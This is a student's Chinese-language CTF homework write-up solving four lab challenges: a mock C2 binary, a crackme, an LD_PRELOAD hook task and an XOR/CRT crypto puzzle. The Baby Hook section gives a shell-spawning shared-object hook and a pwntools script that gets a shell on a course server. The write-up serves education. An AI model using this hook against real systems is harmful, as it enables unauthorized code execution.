# NTU CS HW0 Write Up :::spoiler TOC [TOC] ::: ## Easy C2 * Flag: `FLAG{C2_cmd_in_http_header}` ### Description 我們獵捕到一隻惡意程式,它似乎有與 C2 進行互動的行為。請找出它發送給 C2 的訊息。Flag 格式為:FLAG{...}。 此題模仿惡意程式與 C2 進行溝通的行為,期望能在對不熟悉逆向的同學而言不過度困難的情況下,讓同學對惡意程式行為有初步的認識。題目本身並沒有實際的惡意或影響系統運作的行為,因此可以安心執行。建議同學可以先嘗試執行程式,觀察程式的行為,嘗試找出 C2 位址以及如何與其溝通。 Google 關鍵字:IDA freeware、Ghidra、malware C2 ### 解題思路 1. Simple 解題思路 ```bash! $ file easy-c2 easy-c2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8fa6ee42a706cfc93d97d04b3ff5e300b9f8ae02, for GNU/Linux 3.2.0, with debug_info, not stripped ``` 2. IDA ```cpp! int __cdecl main(int argc, const char **argv, const char **envp) { int sockfd; // [rsp+1Ch] [rbp-24h] char *flag; // [rsp+20h] [rbp-20h] BYREF char *enc_flag; // [rsp+28h] [rbp-18h] char *host; // [rsp+30h] [rbp-10h] unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); enc_flag = byte_20F0; host = "127.0.0.1"; sockfd = socket_connect("127.0.0.1", 11187); decode_flag(&flag, byte_20F0); send_msg(sockfd, flag); puts("Message sent."); sleep(1u); free(flag); close(sockfd); return 0; } ``` 可以看得出來他會連localhost:11187,然後把decode過後的flag給送出去,所以只要會nc的都可以直接聽該port的訊息 ### Exploit ```bash! $ nc -lvp 11187 Listening on 0.0.0.0 11187 Connection received on localhost 54028 GET / HTTP/1.0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko, FLAG{C2_cmd_in_http_header}) Chrome/51.0.2704.103 Safari/537.36 ``` ## Baby Crackme * Flag: `FLAG{r0ll1ng_4nd_3xtr4ct_t0_m3m0ry}` ### Description 透過此題目希望學生們可以先自行摸索過各種 SRE(Software Reverse-Engineering) 的工具與流程。 給你一些關鍵字用: IDA Freeware, Ghidra, gdb (GNU Debugger), Dynamic Analysis ### 解題思路 1. Simple 解題思路 ```bash! $ file baby-crackme baby-crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cc98ffd919e39311d3014a8bd77c2c8968ca2a9, for GNU/Linux 3.2.0, stripped $ ./baby-crackme ========= Baby Validating Service ========= Enter the license >1234 Invalid license! ``` 2. IDA :::spoiler IDA Decompile Code(Main Function) ```cpp! __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 input_flag[4]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+20h] [rbp-10h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); memset(input_flag, 0, sizeof(input_flag)); v5 = 0; puts("========= Baby Validating Service ========="); printf("Enter the license >"); __isoc99_scanf("%35s", input_flag); if ( scan_license(input_flag, 36LL, 0xBACEB00CLL) ) puts("Valid license!"); else puts("Invalid license!"); return 0LL; } ``` ::: :::spoiler IDA Decompile Code(Scan License) ```cpp! _BOOL8 __fastcall scan_license(const char *input_flag, int a2, int _0xBACEB00C) { unsigned __int8 v5; // [rsp+1Bh] [rbp-35h] int i; // [rsp+1Ch] [rbp-34h] char s1[8]; // [rsp+20h] [rbp-30h] BYREF __int64 v8; // [rsp+28h] [rbp-28h] __int64 v9; // [rsp+30h] [rbp-20h] __int64 v10; // [rsp+38h] [rbp-18h] int v11; // [rsp+40h] [rbp-10h] unsigned __int64 v12; // [rsp+48h] [rbp-8h] v12 = __readfsqword(0x28u); *s1 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0; for ( i = 0; i < a2; ++i ) { v5 = enc_flag[i]; s1[i] = v5 ^ _0xBACEB00C; _0xBACEB00C = a2 - i + (v5 ^ __ROR4__(_0xBACEB00C, 1)); } return strcmp(s1, input_flag) == 0; } ``` ::: 3. 如果按照上面得到的code寫script會出事,具體來說會出啥事不好說,但總之IDA時不時會翻不出來也見怪不怪,反正有問題一率動態跟,至於要跟到哪裡(因為沒有main symbol,所以也不好定位),我是直接用pwntools的raw_input()強制斷在input的地方,接著就跳到比對的部分,然後flag就出現在stack上了 ### Exploit ```bash! $ gdb gef➤ at {PID} gef➤ fin # until to scan_license function gef➤ b *{PIE base address}26f gef➤ c ``` ## Baby Hook * Flag: `FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)}` ### Description Try to Hook Me :) nc edu-ctf.zoolab.org 10002 Flag Format:FLAG{...} ### 解題思路 這一題主要的想法很簡單,就是給他一個so file,然後她會直接用這個so file當作LD_PRELOAD,執行./chall,所以我們要做的事情概念很簡單,就是給他一個有問題的so file,然後當他執行椅面的function時,就會執行我們給他的惡意指令,例如開shell ### Exploit ```cpp! #define _GNU_SOURCE #include <stdio.h> #include <stdint.h> #include <dlfcn.h> #define unlikely(x) __builtin_expect(!!(x), 0) #define TRY_LOAD_HOOK_FUNC(name) if (unlikely(!g_sys_##name)) {g_sys_##name = (sys_##name##_t)dlsym(RTLD_NEXT,#name);} typedef void* (*sys_sleep_t)(size_t size); static sys_sleep_t g_sys_sleep = NULL; void* sleep(size_t size) { execve("/bin/sh", (char *[]){0}, (char *[]){0}); return p; } ``` ```python! from base64 import b64encode from pwn import * ld_file = open('./libmyhook.so', 'rb').read() # r = process(['python', './main.py']) r = remote('edu-ctf.zoolab.org', 10002) print(r.recvline()) raw_input() r.sendline(b64encode(ld_file)) # print(b64encode(ld_file)) r.interactive() ``` ```bash! $ gcc -fPIC -shared -o libmyhook.so exp-hook.c -ldl $ LD_PRELOAD=./libmyhook.so ./chall # To make sure it's working $ python exp.py [+] Opening connection to edu-ctf.zoolab.org on port 10002: Done b'Give me your share object:\n' [*] Switching to interactive mode $ ls Makefile chall chall.c flag.txt main.py run.sh $ cat flag.txt FLAG{B4by_Ld_Pr3L0aD_L1bR1rY_:)} ``` 我是直接參考[^libc-hook-zhihu]的教學,非常淺顯易懂,而且還有給sample code,做的事情簡單來說就和上面提到的一樣,當它call sleep時,就會直接執行execve開shell給我,另外這篇[^another-libc-hook-essay]的教學冶獎的很好 ## Extreme Xorrrrr * Flag: `flag{xor_ThEN_><OR_1qUal_ZEr0}` ### Description Easy crypto problem with simple tricks. Flag Format: FLAG{...} ### Source Code :::spoiler Source Code ```python= from secret import flag from Crypto.Util.number import bytes_to_long, getPrime def xorrrrr(nums): n = len(nums) result = [0] * n for i in range(1, n): result = [ result[j] ^ nums[(j+i) % n] for j in range(n)] return result secret = bytes_to_long(flag) mods = [ getPrime(32) for i in range(20)] muls = [ getPrime(20) for i in range(20)] hint = [secret * muls[i] % mods[i] for i in range(20)] print(f"hint = {xorrrrr(hint)}") print(f"muls = {xorrrrr(muls)}") print(f"mods = {xorrrrr(mods)}") # hint = [3867643078, 3287416726, 901811051, 2873881227, 2270268909, 1555321936, 1419723682, 135531391, 1648732744, 2346142192, 1505498859, 2103436123, 4202619523, 2326904236, 1938136472, 366121018, 773968139, 2415223764, 490067400, 1902082872] # muls = [784927, 1022769, 932825, 746975, 815007, 613147, 537543, 852211, 618443, 866769, 910981, 825227, 838133, 1027271, 776063, 1038141, 571529, 664495, 1025729, 593197] # mods = [2286703839, 2358297603, 3964421567, 3907762623, 2849800663, 2382674777, 2503252379, 2798053355, 3995552795, 2910773165, 3724203063, 2416156797, 2179309517, 3641528223, 2846518171, 2688752197, 4248246955, 2871652981, 2639686887, 4182550363] ``` ::: ### 解題思路 我真的脫離crypto太久了,久沒做題就生疏了,這題其實也...沒那麼難,應該還是有點難啦 1. Analyze Process 首先這題做的事情很簡單,他先取得mods/muls各20組質數的list,然後和flag進行運算 $$ hint[0] = secret*muls[0]\ \%\ mods[0] \\ ... $$ 最後他有給經過scramble的hint/muls/mods,所以首要做的事情是把scramble後的結果還原 2. Descramble 他做的事情其實很簡單,靜態看不太出來,動態跟一下就出現了,basically他就是做十九次,每一次都跟隔壁的element進行xor,例如:`muls[0, 1, 2, 3,..., 19]`,scramble的結果會變成 $$ muls[1\oplus 2\oplus 3\oplus ...\oplus 19,\\ 2\oplus 3\oplus 4\oplus ...\oplus 19\oplus 0,\\ 3\oplus 4\oplus 5\oplus ...\oplus 19\oplus 0\oplus 1,...] $$ 所以可以看得出來,因為只做19次,scramble後的第一個element缺少原本的element 0,而第二個element缺少原本的element 1,以此類推,所以要還原就很簡單了,我先把scramble後的所有element全部XOR,這樣就可以得到$0\oplus 1\oplus 2\oplus 3\oplus ...\oplus 19$的結果,然後再各自和scramble的element進行XOR,就可以extract出最一開始的element是多少 $$ Scrambled element = 1\oplus 2\oplus 3\oplus ...\oplus 19\\ \oplus\\ All\ element\ XOR = 0\oplus 1\oplus 2\oplus 3\oplus ...\oplus 19\\ =original\ element\ 0 $$ 3. Decrypt Flag 有了hint/mods/muls最原始的這些東西,就可以開始想要怎麼藉由hint解密原本的flag,如果把整個equation換個表示式 $$ hint[0] = secret*muls[0]\ \%\ mods[0] \\ ...\\ =\\ secret*muls[0]\equiv\ hint[0]\ (mod\ mods[0])\\ secret*muls[1]\equiv\ hint[1]\ (mod\ mods[1])\\ secret*muls[2]\equiv\ hint[2]\ (mod\ mods[2])\\ ... $$ 這和CRT有一點像,但CRT解的問題是secret都要一樣,所以只要把兩邊同乘以${muls[i]}^{-1}$就可以了 $$ secret\equiv\ hint[0]*{muls[0]}^{-1}\ (mod\ mods[0])\\ secret\equiv\ hint[1]*{muls[1]}^{-1}\ (mod\ mods[1])\\ secret\equiv\ hint[2]*{muls[2]}^{-1}\ (mod\ mods[2])\\ ... $$ 再利用CRT的解法,secret就出來了 ### Exploit ```python= from Crypto.Util.number import * from functools import reduce def chinese_remainder(m, a): sum = 0 prod = reduce(lambda acc, b: acc*b, m) for n_i, a_i in zip(m, a): p = prod // n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a // b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 def de_xor(nums): result = [] tmp = 0 for i in range(len(nums)): tmp ^= nums[i] for i in range(len(nums)): result.append(tmp ^ nums[i]) return result def xorrrrr(nums): n = len(nums) result = [0] * n for i in range(1, n): result = [ result[j] ^ nums[(j+i) % n] for j in range(n)] return result hint = [3867643078, 3287416726, 901811051, 2873881227, 2270268909, 1555321936, 1419723682, 135531391, 1648732744, 2346142192, 1505498859, 2103436123, 4202619523, 2326904236, 1938136472, 366121018, 773968139, 2415223764, 490067400, 1902082872] muls = [784927, 1022769, 932825, 746975, 815007, 613147, 537543, 852211, 618443, 866769, 910981, 825227, 838133, 1027271, 776063, 1038141, 571529, 664495, 1025729, 593197] mods = [2286703839, 2358297603, 3964421567, 3907762623, 2849800663, 2382674777, 2503252379, 2798053355, 3995552795, 2910773165, 3724203063, 2416156797, 2179309517, 3641528223, 2846518171, 2688752197, 4248246955, 2871652981, 2639686887, 4182550363] Real_hint = de_xor(hint) Real_muls = de_xor(muls) Real_mods = de_xor(mods) assert hint == xorrrrr(Real_hint) assert muls == xorrrrr(Real_muls) assert mods == xorrrrr(Real_mods) count = 4 while(True): m = [Real_mods[i] for i in range(count)] a = [Real_hint[i]*inverse(Real_muls[i], Real_mods[i]) for i in range(count)] crt_result = chinese_remainder(m, a) if 'flag' in long_to_bytes(crt_result).decode("cp437"): print('Count = ', count) print(long_to_bytes(crt_result).decode("cp437")) break count += 1 ``` 經過實測,最少的CRT組合需要八組以上才能正確還原flag,其中CRT的部分是參考[^crt-python-code],另外理論的部分是參考[^crt-online-video-張旭],最後inverse的靈感是來自[^chatgpt-inverse-concept] ## Reference [^crt-python-code]:[Chinese Remainder Theorem Using Python](https://medium.com/analytics-vidhya/chinese-remainder-theorem-using-python-25f051e391fc) [^crt-online-video-張旭]:[從高中數學不再教的韓信點兵問題,講到大學數論的中國餘數定理,在講中國餘數定理在 RSA 密碼系統上的應用](https://youtu.be/NkvCZ8qJ34w?si=HNryFu3AmhVWkNbP) [^chatgpt-inverse-concept]:[求且a的方法](https://chat.openai.com/c/cef2e550-d5fe-4ceb-96c4-0da3fc34de58) [^libc-hook-zhihu]:[linux hook機制研究](https://zhuanlan.zhihu.com/p/44132805) [^another-libc-hook-essay]:[用 LD_PRELOAD 替換動態連結的函式庫](https://jasonblog.github.io/note/fcamel/04.html)